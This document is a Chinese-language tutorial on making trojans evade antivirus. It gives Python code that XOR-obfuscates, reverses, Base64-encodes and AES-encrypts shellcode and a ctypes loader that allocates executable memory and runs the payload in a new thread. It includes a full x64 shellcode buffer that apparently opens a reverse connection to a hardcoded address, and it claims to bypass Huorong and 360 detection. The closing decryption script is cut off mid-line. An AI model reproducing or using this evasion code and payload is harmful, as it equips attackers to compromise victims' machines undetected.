文章目录
==木马免杀原理与代码实现==一、什么是免杀1、免杀的概念2、杀软的原理3、杀软查杀流程4、免杀的方法
二、利用异或和变形加密ShellCode1、异或加密2、字符串反转3、将字节类型转换为字符串5、对异或输出结果进行变形6、完整ShellCode的加密和变形过程7、最终的木马生成代码:
三、 对加载器代码进行加密和编码1、将加载器代码进行Base64编码2、将Bae64编码进行AES加密
四、对ShellCode和加载器进行解密运行
木马免杀原理与代码实现
一、什么是免杀
1、免杀的概念
免杀技术全称为反杀毒技术(Anti Anti- Virus),简称“免杀”。
它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,包含反汇编、逆向工程、系统漏洞等技术,所以难度比较高。
2、杀软的原理
病毒查杀一般可以分为三种方式:静态查杀、行为查杀和云查杀
(1)静态查杀:一般根据特征码识别,然后对文件进行特征匹配。
(2)行为查杀(动态查杀):主要是对其产生的行为进行检测。
(3)云查杀:提取出文件的特征和上传云端,云端进行检测后返回客户端,对对应病毒进行查杀。
3、杀软查杀流程
对于我们的shellcode要实现免杀,下图是基本的测试流程图
4、免杀的方法
(1)对ShellCode进行加密处理,如异或、转置、AES加密、Base64编码、多轮加密等。
(2)对加载器代码进行加密或编码处理,使其静态特征不再明显。
(3)分离免杀,将ShellCode和加载器代码放置于网络上,通过下载的方式进行加载,可进一步免除静态特征。
(4)通过进程注入或借助傀儡进程进行加载和运行。
(5)通过加壳的方式对木马进行混淆,进而绕过杀软。
通过静态特征绕过杀软检测相对比较容易,但是要绕过沙箱或动态检测,则非常难。
二、利用异或和变形加密ShellCode
1、异或加密
异或运算是最为简单的加密方式,异或运算根据二进制位进行按位运算,如果对应位相同,则为0,不同则为1。并且同时遵守以下规则:如果 a ^ b = c,则可以将 b 视为秘钥,c 视为加密字符串,则 b ^ c = a,可根据秘钥 b 和 密文 c,解密出 a 的值。
And 运算:1 and 1 = 1, 1 and 0 = 0, 0 and 0 = 0
Or 运算:1 or 1 = 1, 1 or 0 = 1, 0 or 0 = 0
Xor 运算:1 xor 1 = 0, 1 xor 0 = 1, 0 xor 0 = 0
如 1234 ^ 56 = 1258,
运算规则如下:
先将 1234 转换为二进制为:0100 1101 0010
再将 56 转换为二进制为:0011 1000,不足 12位,前面加0,
再进行运算:
0100 1101 0010
0000 0011 1000
--------------
0100 1110 1010 = 1258
2、字符串反转
在Python中,对一个字符串进行反转,使用str[::-1]即可。
如果 str = 'abcdefg',则 str[::-1] = 'gfedcba'
3、将字节类型转换为字符串
由于Python的ShellCode为b’’的字节类型(也可以视为二进制类型),而要进行加密或反转处理,只能针对字符串进行处理,所以还需要对将字节类型数据转换为字符串。可以利用Python内置的binascii模块进行处理。
b2a_hex() 是将二进制字节流数据转换为字符串字节流数据
可以这样记忆:
b 代表 二进制
2 就是 two 也叫 to
a 就是 字符串数组
b to a
二进制数据 to 字符串数组
import binascii
buf = b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
str = binascii.b2a_hex(buf).decode()
print(str)
5、对异或输出结果进行变形
reverse = 'abcdefghijk'
encrypt = ''
for c in reverse:
temp = ord(c) ^ 73
encrypt += str(temp) + '-'
print(encrypt[0:-1])
#输出结果为:40-43-42-45-44-47-46-33-32-35-34
此类变形可以有多种方式,并不局限于上述变形,也可以任意定义,或者将其输出为Base64编码。
6、完整ShellCode的加密和变形过程
buf = b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2" # 略
# 将上述字节型数据转换为字符串
source = binascii.b2a_hex(buf).decode()
# 对字符串进行反转
reverse = source[::-1]
# 将上述字符串进行异或加密
encrypt = ''
for c in reverse:
#temp = ord(c) ^ 73 # 将每一个字符转换成ASCII码再进行异或加密
#encrypt += chr(temp)
#print(encrypt) # 此时的输出,极有可能出现乱码,所以可以将其变形
# 进行异或加密后将ASCII直接输出,并用短线分隔
encrypt = ''
for c in reverse:
temp = ord(c) ^ 73
encrypt += str(temp) + '-'
codestr = encrypt[0:-1]
print(codestr)
7、最终的木马生成代码:
# 将这些输出结果作为源字符串输入, 木马程序只需要解密即可
codestr = '124-45-47-47-127-124-123-40-124-43-121-47-123-42-126-42-112-125-112-124-121' # 略
# 通过短线进行分隔,提取出ASCII码,并转换为字符
list = codestr.split('-')
reverse = ''
for n in list:
c = chr(int(n) ^ 73) # 得到异或运算后的解密字符
reverse += c
source = reverse[::-1] # 得到字符串后进行反转,得到原始ShellCode字符串
shellcode = binascii.a2b_hex(source)
#加载器代码
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
三、 对加载器代码进行加密和编码
1、将加载器代码进行Base64编码
loader = '''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''
b64str = base64.b64encode(loader.encode())
print(b64str.decode())
2、将Bae64编码进行AES加密
source = b64str.decode()
if len(source.encode('utf-8')) % 16:
add = 16 - (len(source.encode('utf-8')) % 16)
else:
add = 0
source = source + ('\0' * add)
print(source)
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)
cipher = cryptos.encrypt(source.encode())
print(cipher)
print(binascii.b2a_hex(cipher).decode())
四、对ShellCode和加载器进行解密运行
import binascii
import ctypes
import base64
from Crypto.Cipher import AES
# 将些输出结果作为源字符串输入, 木马程序只需要解密即可
codestr = '124-45-47-47-127-124-123-40-124-43-121-47-123-42-126-42-112-125-112-124-121-121-40'
# 通过短线进行分隔,提取出ASCII码,并转换为字符
list = codestr.split('-')
reverse = ''
for n in list:
c = chr(int(n) ^ 73) # 得到异或运算后的解密字符
reverse += c
source = reverse[::-1] # 得到字符串后进行反转,得到原始ShellCode字符串
shellcode = binascii.a2b_hex(source)
# 解密加载器
source = '3e4a66b7d1fd195638c5f056323f6c257f1cf7526c150149ac7a50a3fbb08171d9dd6176ba8dd69ba885a84a'
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)
dest = cryptos.decrypt(binascii.a2b_hex(source))
b64str = dest.decode().rstrip('\0')
# Base64还原加载器代码
loader = base64.b64decode(b64str).decode()
# 执行代码
exec(loader)
经实验,上述木马可过火绒和360的静态和动态特征,木马可以正常上线。
本机最终的加密代码
import binascii,base64
from Crypto.Cipher import AES
#对shellcode进行加密
#先将shellcode由二进制字节流数据转变为字符串
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x0f\xb7"
buf += b"\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9\x48\x31\xc0"
buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
buf += b"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b\x42\x3c"
buf += b"\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
buf += b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b"
buf += b"\x40\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
buf += b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
buf += b"\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1"
buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58"
buf += b"\x48\x01\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
buf += b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
buf += b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
buf += b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
buf += b"\x49\xbc\x02\x00\x1a\x0a\xc0\xa8\xe6\x80\x41\x54"
buf += b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
buf += b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
buf += b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
buf += b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
buf += b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
buf += b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
buf += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
buf += b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
buf += b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
buf += b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
buf += b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
buf += b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
buf += b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
buf += b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
buf += b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
buf += b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
buf += b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
buf += b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
buf += b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
buf += b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"
strbuf = binascii.b2a_hex(buf).decode()
strbuf = strbuf[::-1]
# print(strbuf)
#再利用异或操作将字符串型shellcode转变为数字型shellcode并利用标识符将每一个数字分隔开,代表的是每一个字符,方便将字符串变回二进制字节流shellcode
strnumbuf = ''
for c in strbuf:
temp = ord(c) ^ 73
strnumbuf += str(temp) + '_'
strnumbuf = strnumbuf[0:-1]
# print(strnumbuf)
#得到数字型shellcode后,对整个进行base64编码
b64buf = base64.b64encode(strnumbuf.encode())
# print(b64buf)
#再对base64编码后的shellcode进行AES加密,得到最终加密的shellcode
if len(b64buf) % 16:
add = 16 - (len(b64buf) % 16)
else:
add = 0
b64buf += (b'\0' * add)
# print(b64buf)
key = 'todayiswonderful-FEDCBA987654321'.encode() #key 密钥的长度必须是 16 的倍数
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv) # iv 偏移量的长度也必须是 16 的倍数
cipherbuf = cryptos.encrypt(b64buf) # 二进制字节流数据
# print(cipherbuf)
#对加载器进行加密
#加载器代码在加密过程中本质是一段字符串,可以先base64编码,可以使用 ''' ''' 来做字符串,也可以用 ; 分割每一行代码,然后后 '' 直接作为字符串
plainloader = '''ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
'''
b64loader = base64.b64encode(plainloader.encode())
# print(b64loader)
#然后再AES加密
if len(b64loader) % 16:
add = 16 - (len(b64loader) % 16)
else:
add = 0
b64loader += (b'\0' * add)
cipherloader = cryptos.encrypt(b64loader)
# print(cipherloader)
#当然,完全可以对上述加密操作循环执行
本机最终的解密运行代码
import binascii,base64,ctypes
from Crypto.Cipher import AES
#shellcode密文
cipherbuf = b'\x10\x02FCFj\xcc\x85u\x86R\xb7n7\xed\x0c@f\xe9l\xf0\xc5\xd2\x8aL\x1eg\x19\x05\x88\x94\x073+2~\xbboZ\x00\x86\x80\\f;C\x11S9\x8c\xf25\x8btwL\xa5\x9d\xc176\x886\xd1Q\\\x1dRkx\xf3\xbe\xb1\x84)\x03Tf\xd3\x1b\xaa\xaa\xed\xe4\xc7}\x07\xfa\xc2.N)\xb6t9\xe2QV\x8e\x82?A\x89\xecJ\xba\x9f\xd3W\xe9t(\xcdg\x1f\xa5{\x00\x98,\x91Vv2\x04n\x11\\q\x97\xe7U\x8d\xf2w\xd9\xa7\x9b\x15\x18\x14C\xf5\xd9\x9fd\xad\x1b3=\xf9}\xcc\xbb\x8c\x98\x95\xd9\x0c\xf5\xa8\xf4\xf6\xcf\xc8w\x9e\xec\x1b\x0eyBa\x96\xdb\xc0\xad\xdf\x96\xf8\xda\xa2\xdcM\x88\x06\xd8\xc6\xe2k\xdd\x8f\xed\xd1U\xcb\x1bg\xd4\xa9\n\xaf\x08d5E\x9c\xef1O\xf2\xa6\x0b\xd7\x8c\xcd\x8b\xac\xa0\xa2\xf7\xa7\xe9\xb6"\xf6\x1d\x0cy\xaf\xf7\x95\x9a\x8c\x06-\xd1\x06\xcb\xa6L*5\xc36\x1d\xa44\xa7\xd6\xf2\x98*\'3r\xa1\x0fJ\xf4K\xaa\xa2\x97\xcc\xf3\x9c\n&B-=8]\xb9N@F\xe9\x12\xef\xfan\xbb:\xd8\xcbR\xb1\xfa\xbf{\xbc5\xce\xc3\xd0C\x8aj\x92w\xa2K\xb2\x16wPr(\xff @r\xa2t\x80L\xea\x84#Q\x8c\xd0N+\x9aU\xd4D\xd0F\xfb\xfa\x94\x7f\x80P6R\xf6N\xae\xb2\xaaUD\xa1\xd8\xd9\xd5D*T0]A\xd7\'\xcb\x9ew\xe1v\xb6\xccq\x9e\xe0\xe6\x0eB\xa1\xd8\x17\xa6\xbf4\x9f~\xe8\x0e_\r\xc4\xf5h\x05\xa1\xe4\x15\x99\xec\xbaw\x07\xa9\xab\x7f\xcc\xb6`\x9b\xfb\xc3yj\xca<\x8d)\xf7\x14@\xbf\xe1\xf4|\xa8\x94\xf2J\xde\xfd\x97\xa6R\xc7\xef\xd5\x02\xf0\x1c\x9f&Jg\xa1\x06fIPo\xe6nv\xe3\xb7K\\I+\xe0\x10\x9e\xee+\xea\xdc\xe1\x94\x7f\x8d\xfd\x85\xea\xe7\x92g\x1cp\xc1O1\xb4iR\xc6\xff \xd5a\xc5\xcb\x8e1\xf9o\xf0/\x1a\\\x06q8\xb32\xdaB\x9e\xda\x0e0A\r*7\xc93\x98\x80\xd7\x96\xc7lP/\xb2\xf5\x03p0\x95\xa5\xa6-\xb7a\xfbt\xb0\x8aX`"sdM\x909\x18]\xd6Z\x11\xc8\xc4\xe5>\xcd\xb0\x06\xfdL\xb5\xc0\x88\x9f\xfb\xfe\x8f\xc5\xd8\xc6)-\x06k\x14\x02\x9fc\x84\x0e\xd11\xe5\xd6\x95s\xae0\xc7\xaa\xcbDYEir\xe1@\xb0\xf0F\x89d\x92\xde\xa3\xb6\x04\xd1\xe8\xc8\x8az>\xb8\xa3\x99B\xab\xb8\n\xac\xb3\xb2\x04\x03\xf3|[\xb0O\xe5\xdb\xed\xb2km\xd0\xd7\x90\xcd\xdcT6\xfd\xe6FS]\xa9\xe0-;\xfa\xe5\x93Mq\xd1\x96Mg\x02w/\x8b\x05\xdd\x91\x01\xc5\xd8K\x86\x8a]\x11\xeb\xd6\xc9\x11M\x91y3\xe3\xdd\xde\xe1\x19>?S\xa7\xa2\xfa\t\xbfJb\x93\'\x9eF\x1aE\x89\n2\x8f7v\xba\xcd\x86\xc7\x07K\xb7j\xc3\x94\x85\xdaA\x03z)M\xd0\x15\xc6\x97S\x91sl\xec\xc1h\xe1v\xf8\xa7K\x94\x1f%\t\x94<\x94N(R\xd8u\x8a\xfb\xe9\xb6%=\'&\x87\xa4\xdbfK\xc3ys\xa7\x19\x97\xd8kluQ/I~3\x99\xdb\x11\xf5W\x80\x97\xfemW\xfc\xe7\xe6\xebV\xb2\x92\x8a\xe6\x82W\x07\xf8\x1d\x03\x84\xd9\xe3\t\x83\xc3~\x8d\xc04\xdebG\x9e\x94|\x1a]/Xso.\xf5\xf3\x00\xb8\xea\xbc\xc5\xc3\xb3\x88\xd9.+Wb(\xd6\xd9\xf8\xde\x13\xbd\xc0\xc7\xd4\x0c\x82Q\xacU\xd0NX\x8b\xa1\xf2\xb0\xe3\x00\xbb\x1dX\xa6\x15pv\xad5I[\xf5X\xb4\x1aW\x97\x81\x17\x03\xdf?9\xf5\xe3\x8e\x9bxh\xae\x7f\xef[PYQ\x06FF;\xfb\xa3\x91\x1c\xa5e(\xce\x050\xd5\x85JC\xff\x9b\x95A9\xa4&@oo\r\x13\xa8\xac;6\x02BG\'/\x0f\xe8\x0b\x9c\x92r\x9f\xb2\xe2\xbd7\x9f\xf1\x1d\x023\r\xf8d*T;\xe2L\n\xd80\x1d\'\xc9\x9d)^D\xd7\x17\x1e\xee\x8cH\xc8ui]\xc3\xe3\xf4W\xd9\x8dR\xb6\xe7\'\x9d\x8c\x92R\x8bHr\xe0\xd8`y\x8d\xf7\xd3\xa5i\x1e9A\x9f\xb2{.%\xb8g\x1d\xcd\xc3+S{\x08,b#\x92\x94\xc2S\xa6\'\x83\xc7\xa8\'\x9eu\xbf\xea\xf6\xd0\xde\x8a\xaa\x81\x1a\xff\xc4\xb2\x1a\xb0\xd1\xaf\x1f\x05T\xaf\xcc\x17F\x04\xd8\xf9\x9c1n\xa0\xa9e"\xac\x0e\'\x88\x901q\x8c\xb8Y\x86H\xee\xe5\x12\x15g\xcbTE\xd1\t\xf3\xd6\x8ckM\xe3\x8c\xb0\x0f\xadzk\xd2\x00pz\xf4\xcd4!\x1au,Y~\xff\xc4P\xee<\xb4gV\xb4\xa7\xe9\xfe\x8a`c\xdf\xf1\xef\xae\x10j@\x9e|\xcc\x11%S\xa9\xa4\x9c\xedz\xcek\x97 \xab\x9b\xe7\x86\xad\xef4\x97\x0b+k\xdc\xa3\x14A\xc4DL\xe6\x8e\xd8-lX\x07\x81\x17}&\xa2O\xdfw\x8fy\xf0\x1e\xe54Q\x8c~\x1c\x1dM\xd1\xe9\xf0\x13K\x1bofP\tPv(\xcf\x89?\x0ei\xe4\x01\xda\xd6\x9a\x85z\xf3_\x94\xd4\x83v\nf\xbd\x1d~w\xc9\xf4\xd1R\xd3\xe2\xab\xfd2\xd2\xba\x18rbKi+\x1a/\xf9GGVXd\x97\x14:\xae\xd3rL\xb3\x03H\x8e\x83\xcc8\xc7\x8d!/\r\xb8\xfa\xa3\xd6 \xcbP\xe1\t\xda\xa7\xc5\x14\x1amc\xd9\xba\x06v\xae\xb2\xa5\xcd\xb6\x03!\xd8\xc1\x99\xc6\x88W8\xde\xc6\x15x\xc7,f\x06\xc5\xea\xaf]\x90\xba#\x931\x04\xbbm\xf7<;\x19\xc5\x80\x8e\xd10\x98\x91IhY\xf7\xa2\xcb\xa8\xa8Pi\xbb\xae\xbcB#\xf6\xceh\xdbc\x1a\xd7%\xdc\x02\xff\xc0\xaa\xa5\t\xea\x82\x12\x94*\xc3\xfa\xe6\x15f\xfaA\xe6\xa7\xdd\xdd1)q7\xbb"m\xdcp\xc8\x0f\xb1\xba\\\x0bW.\xb9Z\xee\x843\x87b\x8a\xf4NB\x7f\xf4\xaf_K-\x1b+OO\xe4\x8b\xb2t\x8e\xa3\xdb%\x8e\xac\xc3E\x92\xc2\xb5x<\x00Q\xd2\xbe\xa2\xc7\xfb\x93[,o\x0c\xb4\xe6\xb3\x01\x13\xfct\xa1).Tw\xf2\x9e\x9e>B\x06\xd1\xa1\xd9$\xedt\xc0\x9c\xa0> \xdb8{H\x13\xb3)+\x16V\xdc,9\x85t\x02i\x9bl\x9e0\xd5o\x87\xf9vVa\xa1\xb0\xee8\xe4\x80a\x9d"\xef\xbf\x9a:\xb1\xffF\xac\xc2\xc6~m\x01\xb3f\xbf\xa1A\x08\x1c\xf9\xb2\xf03\xac\x14q\x1b\xd0\xb0\x1fX\x0e\xf5J\x99r\xf6\x96\xd9iO\xd7\xdd\xbcyD\xfczk \x8c\xbc\xd8\x98\x89\x00\x84\xadC\x80\x92\x14\xef\xc6o\x8a\xb1+\x84i\xd4e#:\x8a\xa0\xa4\xe3(w\xcb\xee\x94\xd7\x8e\x863\xfe\x89?\x83\x0b\xa0\x0b\xedA\x12eP\xa6\xb3G$\xf5\x80\xc6\x98G\xc6\xdc\t\x82\xc6\x07[\x00\x9c9\x87\xd5\x86\xc4\xd0\xd3\xa5A\x08\xe8\x7f\xfe\xd7\xbf\xc3\xbe\xa6q\xa7\x80X\xa5\xa8wu\x8c\x05{XS\xcf\xe4%\xc1\x7f\xa5\xca\x98\xe2\xb5\xa5\'1\x06\xf2\xc8#\xc4\xbbyT\x86c\xa2$\xefrK\x88\xb3fS\xfa\xcd\xd1\xe7CT\x86\x8d\xf2$\xf9\xa5\xa9lt3\xee\x8c\xf2Z\x97\xe4J\xdf\x8e\x86\xc7\x8bQ\xbb\xe6\xc3\xd3\x11U\rcWi\x87eep\xdf\xca\xbe[\xa4\xac\xaa2"\x00\x08FK\xd1\x1d\x92k-\xde\x82u\xcc,y\xaf\xcc\x02\xa4\x87\xd1\xdc\xa2\x97sa\xedJ\x93(q\xef\x7fzz\xe7\xfaBV\xc8\xc2\xe0\x95\xf8\x1c\xcb\xb8\xf4Tw++\x89\xbd\xef\x03\xa95\xbcfE\xc8\xe9n\x9b)\xb6\xb4s\xd5`\x94h\xd2/E1z-\xb6v\x9a\xf0q\xb1\xee\xf3\xea\xafi\x84E\xd3\xa2\xff\xae?\'\xa1\xc4\xef\xbd\xcb\x9e\x88\x92\x119\xf9zK\n\x9aUy\xdfE?7\xc4\xd5\xb4o\xc1T\x88\xdc\xd6\xff\xe3H\xf9\x0f\x13\x1dl\xfd\xc24:-\xe5V\xf4\xc8F\x9dB\x83\x08`\xceL\x90|p\xf8JDM\r\xc2N\x1a\xc1hHV\x8d\xcf\x07\xa6\xa8\xec\xc0\xadl\xe5\xb1\\jH\xfe=\xc0\xe0\x99\xe7%\xf2\xda\x8b\x8f\x97\x9fd6\x1a\x9d\xd0z\x15\xebl\xa4\x9cC\x17\x9f\xe6\xf3\x08\xce\xe5oi<[\xec\x85v\x18\xec\x93\xa9\x8e\xf9\x9d\xb6$\tt\x19i\xbd\xe7)C\x08k\x15\xae\x06?Q\xfaD\xbd\xc7\x15\x15\xc0\x91Q\xdb*\x02G\x91\x7f\xe9\xf6N\xd4\xf2~\xaf\x8d\xa9{\xd8\xfa\xc1\xdd\x88\x17\x1e\xe1\x97D\x85\xdd\xa3\x8f~\x88<}\xbe\xe7\t\xbd\xc0\xcb]\x9a\x88/\x0c\x08j\xd2\xd4+\xa42\xff\xf4t\x16\xbfo\xcc\xf8\x1b\xc4\n\x84\xe0`]\xb9\x08440]S\x7f\x1e\xc3\x1c\x8b\x8c\x1f\xfa\xf3\x13\x86\x99\x19&\xd1#\x18\xa7\x0f5\xc6\x934\xa6\x9a\xc3.\xd8\xf2\x8c\x13\xc7\xab\xc1=q\xbb\xf4\xcb\xbaAn\xf3s\x06\xa1B\x94\xc6\xe7\xb3\xc6\xf4\x95\x88\xbf\xc2\x92\x02\xf8\x99\xb6\x07\xfc0?\x9a>QX\xb5\xe7""c1\xc1\x82gh^\xed\xeb\xab\x9a\x00=H\xba%G\x00\xd3v\xfcaC\xf7\x9dm\x92\xc4A\xe1\xb5\xedH\n\x7f2%u5AC\xe5-}\x04%\xcc(x\xe1\n\xbd\xf6h]\xdf\x14y\xff\xc9\xc0_^\x9a\x13\x8e\xff8\x1a\xd5\xbd\x7f\xe8\x90T\x8d<\xea\x8dOP\xcfF\x83\x9drD\xafJ\x80i\xf8\xaf\xfb\xaf|\x1d\xdc\xd2\xcam\xe1\x06\xec7\xea\xc4\x97i\xd7\xd2\xaf\x9ci\x05\xcc\xc2z\x03G\x05B<\x91Eys#K\xb7\x95u\xd7}\x17/\x1d\xa7\xdc\x9a\x8ew\xa2Nf\xdfj\xe1\xc3c\xf88\xbd\xb4\xa0\xc1\x8f%\xceB9\x08\xde11\xe6\xedq\xad&\xa8MH]\xe2\xbd\xfd\x9cY\xf9\xe1\xcf\xeb\xd4\x06\x07*\xd5\xf1\x16\xf4`\xda\xfa\xaf\x8b\xf2mv\xf7\xc3\x8d\xd7C\xf0+\x98k\xd7\x83~\x81@\xa42\xa7J\xdb7 \xcf\xb2\x9c\x0e\xac\x92\xf8\xe8M"\x9a\xd6\x97\xb1\x81\x9aI\x14h\x88_\x01qb\x95\x80\xa8\xcf>\xa4\xd4\xcdc\xb9\xffI0\x0f\x00\x0fdq8\xb4\xfb\x9f\xfdp\xb9f\xe3\xee\x90\xc4 #shellcode密文解密 #AES解密 if len(cipherbuf) % 16: add = 16 - (len(cipherbuf) % 16) else: add = 0 cipherbuf += (b'\0' * add) # print(cipherbuf) key = 'todayiswonderful-FEDCBA987654321'.encode() mode = AES.MODE_CBC iv = b'1234567890ABCDEF' cryptos = AES.new(key,mode,iv) b64buf = cryptos.decrypt(cipherbuf) # print(b64buf) #base64解码 strnumbuf = base64.b64decode(b64buf).decode() # print(strnumbuf) #数字转字符串 numbuf = strnumbuf.split('_') strbuf = '' for num in numbuf: temp = int(num) ^ 73 strbuf += chr(temp) strbuf = strbuf[::-1] # print(strbuf) #字符串转二进制字节流数据 buf = binascii.a2b_hex(strbuf) # print(buf) #加载器密文 cipherloader = b'\xc1\xa4\xb1\x7fk\xea\xc3n\xb1\xcc`\xc0,\x86l\xdei\xf4x}yn{\x15\xc0\x9fb?\x87\x15\x91\x98\xbc,n3{s\xdfa$\x03\xa91\xf0$\xea\xfc\x00\x8f\\\x9d^s\x16%\xae\xcat\x8e\xc3\xeb\x9b\x03x\x83\x8b\xf9E\x85\xb6\xf1\x90\xb3x\xe7\xaa\xde\xd6\xbc\x9a\x11\xdcT\xc4\xc2\n\xf5dHOoy\xff\xddpw\xd1\x17\xado`5\xc5"\xdf\xcfg\xfeL\xcdLe\xfb%\xbd\xc8h\xd6\x07\xab0\xc1\x81\xb3!\xeae\xc9\x04|\xc1\x90\x01\x15\x0f\xe9C\x88\xe7\xbaI\xef\xdf\x10\x92\x98k\xc0|\x89\xa4\x1c\xda)\xfb\x96$4pih3\x19XZ\xdb\x01|\xb8\x17pO\x1a[\xb6\x11k\xde\x9e\xf4\xfdu\x0f&]u\x02\xf8\x0b\xf5\x06~\xe2\xdf]\xcd\xb8\xd1&e\xbch\x11h6\xa3\xc4\xa3\x1e\xc7\xb5\x80\xa3\xbb\x94\'\xb7\xb6\x1a\xcf\xab\xf9\xda\x0e%\xbdY\x8bD\xedH\xca\xe8R\x81\xee\xe0Z\x1d\xec\xf3\xd1Uh\x8beG\x1c\x96<\xa1\n\x9d\xac\xb2XH\x93\xd8\x86\xd0 \x0fQq\x91\xb2\x1ev\x98\x90\x9e\xafY :_\xed\xcfU~\x00\xce\xbb\xa8\xd6\x9a\xcb??,\x05\x9e\xa5\xf0m\xaf\xce,\x02\xb1\xd2\xf9\x08\x0b\xecU\xee\xd9)\x812GT\x0c5\xd8\x87-o\x8e\xc3d_\xbd\xa4R\x96\xa0\xc1\r\x9b\x9f\x1e|\x1di\x03\xe8\xe6c\xc6\xb6`\n\x81ir\x8d\x13\xd8\xbe\x98\x88Uw\x1c4\x1d\x8f\xa3\x1d\xc9;\xf4$\x1d\xc4\xcd\x98\xd7\xa7q\x02\x89\xcd>\xd3\x964\x98\xce\xd3\xe9\xd7%9\xfb\x861\xde\x08\xc8\xef\x8fG}v>\xed\xc8\xfb\x18M\\\x15C\xe2\xb5\xb0e\x96bpa\xf0c\x15\xaf\xf2\x9c\xbf6\x82!\xbf\xa8\xcd\ne\x96\xe5K\xc5\x0c\xeb\x02\xc7\xf4d\x95\xe0\xd53y\xa8\x9f!\xca{\xce\x0e\xc44k\x0e\xa6\xc9\xa2\xa90DCV\xee\x13\x7f\xc5\xc7\x0f\xdfG\xb7\n\x0e3\x82\x9e\x97\';\xfa1\xd6\x07\xa7#!T\x97\xae\x1a\xe8\x18[?\xd4\t\xca\r\xfd\xe6\xf2\xd9\xc1\\\xa1(\'1\xac' #AES解密 b64loader = cryptos.decrypt(cipherloader) # print(b64loader) #base64解码 loader = 